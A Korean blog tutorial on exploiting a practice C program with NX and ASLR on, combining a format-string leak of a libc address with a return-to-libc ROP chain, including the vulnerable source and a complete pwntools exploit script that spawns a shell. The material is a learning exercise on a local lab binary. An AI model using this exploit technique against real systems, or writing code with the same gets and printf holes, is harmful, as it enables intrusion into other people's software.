| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- pointer
- dreamhack #rev-basic #reversing
- amd64 #x86-64 #x64 #레지스터 #컴퓨터 구조
- Layer7 #해킹 #동아리 #시연회 #부엉이
- 포인터_보고서
- Systemhacking #Pwnable #CTF #Write-up #WolvCTF
- 이너
- Webhacking #CTF #Write-up #WolvCTF
- Today
- Total
stxxp
NX-bit 예제 풀기 (with ASLR ON) 본문
코드 :
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
#include <stdio.h>
void setup()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
setup();
char buf[0x100];
printf("What's your name? : ");
gets(buf); // Buffer Overflow
printf("Hello, ");
printf(buf); // Format String Bug
printf("!!!\n");
printf("Last greeting : ");
gets(buf);
return 0;
}
|
1. FSB (Format String Bug) & RTL(Return to Library)
FSB는 포맷 스트링, 즉 서식 문자를 이용한 공격 기법으로 printf() 함수의 취약점을 이용합니다.
printf() 함수에서 문자열 출력하려는 경우에는 정상적으로 인식하지만 서식 문자를 넣었을 경우에는 이를 문자열로 인식하지 않고 서식 문자 자체로 인식합니다.
좀 더 자세하게 말하자면 서식 문자를 만나는 순간 메모리의 다음 8바이트 위치를 참조해 해당 서식 문자의 기능 그대로를 출력하는 것입니다.
RTL은 라이브러리의 함수로 리턴하여 해당 함수를 실행하는 기법입니다.
바이너리 내부에 printf() 함수가 없어도 라이브러리의 printf() 함수를 호출해 사용할 수 있다는 것이 RTL의 특징을 이용한 것입니다.
자 이제 이 두 가지 기법을 이용해서 쉘코드를 쓰지 않고, ASLR은 켜져 있는 상태로 쉘을 따 봅시다.
우선 ASLR 기법이 켜져 있기 때문에 메모리 주소는 매번 달라지기 때문에 libc에 있는 주소를 leak 해야 합니다.
메모리는 항상 일정한 부분과 일정하지 않은 부분으로 나뉘어 있는데 프로세스가 라이브러리를 참조하기 위한 가상의 주소들은 ASLR의 영향을 받지만 피지컬 메모리 주소처럼 변하지 않거나 변했을 때 다른 메모리에도 큰 영향을 끼칠 수 있는 베이스 주소는 ASLR의 영향을 받지 않습니다.
이러한 값들로부터의 오프셋을 구하면 그 값은 어떠한 특정 주소 사이의 거리를 나타내기 때문에 변하지 않는 고정된 값입니다.
바이너리를 컴파일할 때, 이미 결정되어 있는 부분 또한 ASLR을 적용받지 않습니다. 그렇다면 시스템 함수의 시작 주소에서 라이브러리의 시작 주소를 빼면 라이브러리와 시스템 함수의 오프셋을 구할 수 있습니다.
시스템 함수의 주소 = 오프셋(고정됨) + 라이브러리의 시작 주소(이게 계속 바뀜)
우리가 할 일은
1. 포맷 스트링을 사용해서 return address leak 하기
2. 라이브러리의 시작 주소 구하기
3. 가젯 주소 구하기
4. system() 함수와 /bin/sh의 주소 구하기
가 될 것 같습니다.
2. 쉘 얻는 과정
디버거를 켜고 p system을 치면 시스템 함수의 주소를 보여줍니다.

>> system 함수 주소 : 0x7f58772ee390

__libc-start_main + 240을 보면 라이브러리 값은 0x7f로 시작하니까 저 0x7f7417605830은 리턴 값의 주소인 것 같습니다.
그럼 이제 여기서 {라이브러리에서의 __libc-start_main 오프셋 + 240}을 빼주면 libc base의 주소가 나올 것입니다.
마지막으로 함수와 /bin/sh는 libc base에서 해당 오프셋을 더해주면 실제 주소를 알 수 있겠네요!
system() 함수의 주소를 구할 때의 팁을 적자면 pwntools를 사용하면 됩니다.
libc.symbols를 이용하면 libc에서 함수와의 오프셋을 구해 변수로 저장할 필요 없이 바로 symbols로 system의 주소를 찾을 수 있다고 합니다.
문자열의 주소를 구할 때에는 libc.search를 통해 찾을 수 있습니다. (list가 앞에 붙으면 쭉 나열)
가젯의 주소는 ROPgadget --binary test2라고 입력하면 볼 수 있습니다.
여기서 가젯을 구하는 이유는 64bit에서 인자를 rdi, rsi, rdx로 받기 때문입니다.
이 rdi에 /bin/sh의 주소를 넣어주면 첫 번째 인자로 /bin/sh가 들어가는데 결국
system() 함수에서 /bin/sh 문자열을 인자로 넣어주어야(system("/bin/sh")가 실행돼야 함) 쉘을 얻을 수 있는 것입니다. (/bin/sh가 쉘이니까 당연하다)

>> 가젯 주소 : 0x00000000004007e3
3. Exploit 코드
|
from pwn import *
binary = "./test2"
e = ELF("./test2")
libc = e.libc
r = process(binary)
gdb.attach(r)
r.recvuntil("What's your name? : ")
r.sendline("%39$p") #FSB를 이용해 스택에 있는 주소를 출력하게 함
r.recvuntil("Hello ")
leak = int(r.recv(14), 16) - (libc.symbols["__libc_start_main"] + 240) #libc base 주소를 얻음
system = leak + libc.symbols["system"] #system 주소를 얻음
sh = leak + list(libc.search("/bin/sh"))[0] #/bin/sh의 주소를 얻음
rdi = 0x00000000004007e3 #pop rdi ; ret ====> gadget를 구함
log.info("libc base : " + hex(leak))
log.info("system : " + hex(system))
log.info("/bin/sh : " + hex(sh))
payload = ""
payload += ("A" * 0x108) + p64(rdi) + p64(sh) + p64(system) #0x108까지 A로 채우고 인자를 순서대로 채워서 맞춰줌
#pause()
r.sendline(payload)
r.interactive()
|
cs |
4. 실행 결과

'Hacking' 카테고리의 다른 글
| [2021 Layer7 시연회] - 네이트온 해킹 (0) | 2021.02.27 |
|---|---|
| Codegate 2018, BaskinRobbins31 (0) | 2020.09.01 |
| NX-bit 예제 풀기 (0) | 2020.08.25 |
| 간단한 바이너리 분석하기 (0) | 2020.07.12 |
| C언어 코드 분석 (0) | 2020.07.02 |